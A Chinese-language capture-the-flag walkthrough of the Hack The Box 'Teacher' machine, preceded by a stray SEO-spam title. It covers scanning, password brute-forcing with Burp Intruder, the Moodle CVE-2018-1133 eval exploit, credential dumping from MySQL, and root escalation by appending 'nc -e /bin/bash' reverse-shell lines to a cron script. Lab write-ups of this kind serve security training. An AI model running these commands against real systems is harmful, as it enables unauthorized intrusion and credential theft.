網站建設頁面設計規(guī)格百度指數與百度搜索量

nmap
nmap -sV -sC -p- -T4 -oA nmap 10.10.10.153

nmap只發(fā)現了對外開放了80端口,從http-title看出可能是某個中學的官網
http
打開網站確實是一個官網,查看每個接口看看有沒有可以利用的地方

發(fā)現了一個接口,/images/5.png,但是響應包中卻是一段文字

這個Giovanni寫忘記了密碼的最后一個字符,很有可能是想要我們去暴力破解,Th4C00lTheacha,再添加最后一個字符,從a-z,A-Z,0-9,在加上常用標點符號,生成一組密碼,找到登錄口后暴力破解進入后臺,嘗試admin/administrator等常見后臺登錄接口也沒反應,直接掃描網站目錄吧
暴力破解
gobuster dir -u http://10.10.10.153/ -w /usr/share/wordlists/dirb/big.txt -o gobuster
最終發(fā)現了這些接口

其中嘗試訪問/moodle接口時,跳轉到teacher.htb,嘗試將該域名添加至/etc/hosts

再次訪問該頁面,得到如下結果,看起來像是老師用的界面,wappalyzer顯示這個moodle是一個LMS,可以嘗試獲取版本信息后查閱相關漏洞。之前的用戶Giovanni可能是一個老師,右上角有一個登錄按鈕,嘗試使用剛才得到的用戶名和殘缺的密碼暴力破解登錄系統

首先將登錄時的數據包發(fā)送至burpsuite的intruder,在密碼的最后一位添加替換位$password$,之后burpsuite便會自動替換這一位的字符

設置payloads為a-z,A-Z,0-9,常見字符,先試一下,可以看到#相應長度不同于其他

嘗試使用Giovanni/Th4C00lTheacha#登錄系統,成功登陸

使用moodlescan掃描一下目標網站,看看能不能發(fā)現一些東西
python3 moodlescan.py -k-u http://moodle.example.com/<moodle_path>/

掃描結果如下,發(fā)現系統使用的moodle版本為3.4.1

cve-2018-1133
Moodle 允許教師設置包含多種問題的測驗。其中包括計算問題,它允許教師輸入一個數學公式,該公式將由 Moodle 對隨機輸入變量進行動態(tài)評估。這可以防止學生作弊并簡單地分享他們的結果。例如,教師可以鍵入 什么是 {x} 添加到 {y}?答案公式為 {x}+{y}。 Moodle 然后會生成兩個隨機數,并將它們插入問答文本中的 占位符 {x} 和 {y} (例如3.9+2.1)。 最后,它將通過調用安全敏感的 PHP 函數來 評估答案 6.0eval() 以其惡意潛力而聞名的公式輸入,因為它允許執(zhí)行任意 PHP 代碼。
查看https://www.sonarsource.com/blog/moodle-remote-code-execution/文章獲取更多信息
開始復現該漏洞,首先肯定是要登錄系統
前往Site home–> 點擊Algebra–> 點擊Turn editing on

點擊Add an activity or resource->點擊Quiz->Add

隨便寫點東西然后點擊保存,save and return to course,比如我創(chuàng)建了一個名為test的quiz

點擊test進入,然后選擇編輯edit quiz

進入編輯后,選擇add,在選擇a new question,類型選擇calculated,點擊add添加

然后將上文鏈接文章中的代碼寫入answers中,還要選擇100%,負責會報錯

然后點擊save changes保存配置,下一個頁面無需修改內容直接點擊next page即可,在跳轉至下一個頁面即可使用“0=”來執(zhí)行遠程代碼,使用nc -e /bin/bash 10.10.*.* 4444將shell傳遞給kali(kali提前監(jiān)聽端口)

www-data
拿到一個www-data權限的shell,用python獲取一個交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
在網站根目錄中發(fā)現了很多config文件,打開看看

在config.php中可以看到數據庫相關信息

使用查到的數據庫信息登錄mysql

use moodle;使用moodle數據庫,里面有一張叫mdl_user的表,其中存儲著用戶信息,查看表,發(fā)現列名username和password

查看username和password內容

其中最后一行Giovannibak的密碼像是使用了md5加密,解密得到密碼為expelled

查看/etc/passwd發(fā)現并沒有用戶叫Giovannibak,再加上bak很可能意味著這個密碼是giovanni用戶的備用密碼,嘗試使用改密碼切換至giovanni用戶,成功

鏈接到用戶后,我們可以找到user.txt并查看

giovanni→root
在giovanni目錄下,進入tmp目錄,發(fā)現backup_courses.tar.gz每分鐘都在運行,似乎是參與了一個cron job,且該文件屬于root用戶

向靶機上傳pspy工具,檢索所有的cron job

查看backup.sh的內容。進入work目錄,將課程目錄添加到tmp/backup_courses.tar.gz中,然后進入tmp目錄,解壓文件,并將tmp中所有文件權限設置為777

腳本由root用戶創(chuàng)建,不能修改

chmod 從不更改符號鏈接的權限;chmod 系統調用無法更改其權限。這不是問題,因為從不使用符號鏈接的權限。但是,對于命令行中列出的每個符號鏈接,chmod 都會更改指向文件的權限。相反,chmod 忽略遞歸目錄遍歷期間遇到的符號鏈接
在~/work/tmp中創(chuàng)建鏈接:

嘗試在腳本中追加"nc -e /bin/bash 10.10.14.14 1111" >> /usr/bin/backup.sh

開啟監(jiān)聽,等待任務執(zhí)行后,就能收到一個shell,然后就可以查看flag了

over!
